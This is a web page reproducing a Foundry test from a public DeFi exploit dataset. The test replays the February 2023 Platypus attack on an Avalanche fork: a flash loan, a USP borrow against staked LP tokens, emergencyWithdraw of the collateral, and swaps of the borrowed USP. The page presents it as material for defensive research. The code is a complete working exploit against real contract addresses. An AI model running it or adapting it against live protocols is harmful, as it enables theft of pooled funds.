Skip to content
THREATWIRE

Public reproduction file

src/test/2023-02/Platypus_exp.sol

Public reproduction file for dataset entry - Platypusdefi.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-02/Platypus_exp.sol137 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analsis
8// https://twitter.com/peckshield/status/1626367531480125440
9// https://twitter.com/spreekaway/status/1626319585040338953
10// @TX
11// https://snowtrace.io/tx/0x1266a937c2ccd970e5d7929021eed3ec593a95c68a99b4920c2efa226679b430
13interface PlatypusPool {
14 function deposit(address token, uint256 amount, address to, uint256 deadline) external;
15 function withdraw(address token, uint256 liquidity, uint256 minimumAmount, address to, uint256 deadline) external;
16 function swap(
17 address fromToken,
18 address toToken,
19 uint256 fromAmount,
20 uint256 minimumToAmount,
21 address to,
22 uint256 deadline
23 ) external;
26interface MasterPlatypusV4 {
27 function deposit(uint256 _pid, uint256 _amount) external;
28 function emergencyWithdraw(
29 uint256 _pid
30 ) external;
33interface PlatypusTreasure {
34 struct PositionView {
35 uint256 collateralAmount;
36 uint256 collateralUSD;
37 uint256 borrowLimitUSP;
38 uint256 liquidateLimitUSP;
39 uint256 debtAmountUSP;
40 uint256 debtShare;
41 uint256 healthFactor; // `healthFactor` is 0 if `debtAmountUSP` is 0
42 bool liquidable;
43 }
45 function positionView(address _user, address _token) external view returns (PositionView memory);
46 function borrow(address _token, uint256 _borrowAmount) external;
49contract ContractTest is Test {
50 IERC20 USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);
51 IERC20 USP = IERC20(0xdaCDe03d7Ab4D81fEDdc3a20fAA89aBAc9072CE2);
52 IERC20 USDC_E = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664);
53 IERC20 USDT = IERC20(0x9702230A8Ea53601f5cD2dc00fDBc13d4dF4A8c7);
54 IERC20 USDT_E = IERC20(0xc7198437980c041c805A1EDcbA50c1Ce5db95118);
55 IERC20 BUSD = IERC20(0x9C9e5fD8bbc25984B178FdCE6117Defa39d2db39);
56 IERC20 DAI_E = IERC20(0xd586E7F844cEa2F87f50152665BCbc2C279D8d70);
57 IERC20 LPUSDC = IERC20(0xAEf735B1E7EcfAf8209ea46610585817Dc0a2E16);
58 PlatypusPool Pool = PlatypusPool(0x66357dCaCe80431aee0A7507e2E361B7e2402370);
59 MasterPlatypusV4 Master = MasterPlatypusV4(0xfF6934aAC9C94E1C39358D4fDCF70aeca77D0AB0);
60 PlatypusTreasure Treasure = PlatypusTreasure(0x061da45081ACE6ce1622b9787b68aa7033621438);
61 IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
63 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
65 function setUp() public {
66 cheats.createSelectFork("avalanche", 26_343_613);
67 cheats.label(address(USDC), "USDC");
68 cheats.label(address(USP), "USP");
69 cheats.label(address(USDC_E), "USDC_E");
70 cheats.label(address(USDT), "USDT");
71 cheats.label(address(USDT_E), "USDT_E");
72 cheats.label(address(BUSD), "BUSD");
73 cheats.label(address(DAI_E), "DAI_E");
74 cheats.label(address(LPUSDC), "LPUSDC");
75 cheats.label(address(Pool), "Pool");
76 cheats.label(address(Master), "Master");
77 cheats.label(address(Treasure), "Treasure");
78 cheats.label(address(aaveV3), "aaveV3");
79 }
81 function testExploit() external {
82 aaveV3.flashLoanSimple(address(this), address(USDC), 44_000_000 * 1e6, new bytes(0), 0);
84 emit log_named_decimal_uint("Attacker USP balance after exploit", USP.balanceOf(address(this)), USP.decimals());
85 emit log_named_decimal_uint(
86 "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
87 );
88 emit log_named_decimal_uint(
89 "Attacker USDC_E balance after exploit", USDC_E.balanceOf(address(this)), USDC_E.decimals()
90 );
91 emit log_named_decimal_uint(
92 "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()
93 );
94 emit log_named_decimal_uint(
95 "Attacker USDT_E balance after exploit", USDT_E.balanceOf(address(this)), USDT_E.decimals()
96 );
97 emit log_named_decimal_uint(
98 "Attacker BUSD balance after exploit", BUSD.balanceOf(address(this)), BUSD.decimals()
99 );
100 emit log_named_decimal_uint(
101 "Attacker DAI_E balance after exploit", DAI_E.balanceOf(address(this)), DAI_E.decimals()
102 );
103 }
105 function executeOperation(
106 address asset,
107 uint256 amount,
108 uint256 premium,
109 address initator,
110 bytes calldata params
111 ) external returns (bool) {
112 USDC.approve(address(aaveV3), amount + premium);
113 USDC.approve(address(Pool), amount);
114 Pool.deposit(address(USDC), amount, address(this), block.timestamp); // deposit USDC to LP-USDC
115 uint256 LPUSDCAmount = LPUSDC.balanceOf(address(this));
116 LPUSDC.approve(address(Master), LPUSDCAmount);
117 Master.deposit(4, LPUSDCAmount); // deposit LP-USDC to MasterPlatypus
118 PlatypusTreasure.PositionView memory Position = Treasure.positionView(address(this), address(LPUSDC));
119 uint256 borrowAmount = Position.borrowLimitUSP;
120 Treasure.borrow(address(LPUSDC), borrowAmount); // borrow USP from Treasure
121 Master.emergencyWithdraw(4);
122 LPUSDC.approve(address(Pool), LPUSDC.balanceOf(address(this)));
123 Pool.withdraw(address(USDC), LPUSDC.balanceOf(address(this)), 0, address(this), block.timestamp); // withdraw USDC from LP-USDC
124 swapUSPToOtherToken();
125 return true;
126 }
128 function swapUSPToOtherToken() internal {
129 USP.approve(address(Pool), 9_000_000 * 1e18);
130 Pool.swap(address(USP), address(USDC), 2_500_000 * 1e18, 0, address(this), block.timestamp);
131 Pool.swap(address(USP), address(USDC_E), 2_000_000 * 1e18, 0, address(this), block.timestamp);
132 Pool.swap(address(USP), address(USDT), 1_600_000 * 1e18, 0, address(this), block.timestamp);
133 Pool.swap(address(USP), address(USDT_E), 1_250_000 * 1e18, 0, address(this), block.timestamp);
134 Pool.swap(address(USP), address(BUSD), 700_000 * 1e18, 0, address(this), block.timestamp);
135 Pool.swap(address(USP), address(DAI_E), 700_000 * 1e18, 0, address(this), block.timestamp);
136 }

Analysis

Dataset entry

Public Foundry test for “- Platypusdefi” (2023-02-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
Platypusdefi
Path
src/test/2023-02/Platypus_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
8a42a888e17cb50f7e581ecf184315b784c99385
Language
Solidity
Size
138 lines
Date
2023-02-17
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-02/Platypus_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8a42a888e17cb50f7e581ecf184315b784c99385, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.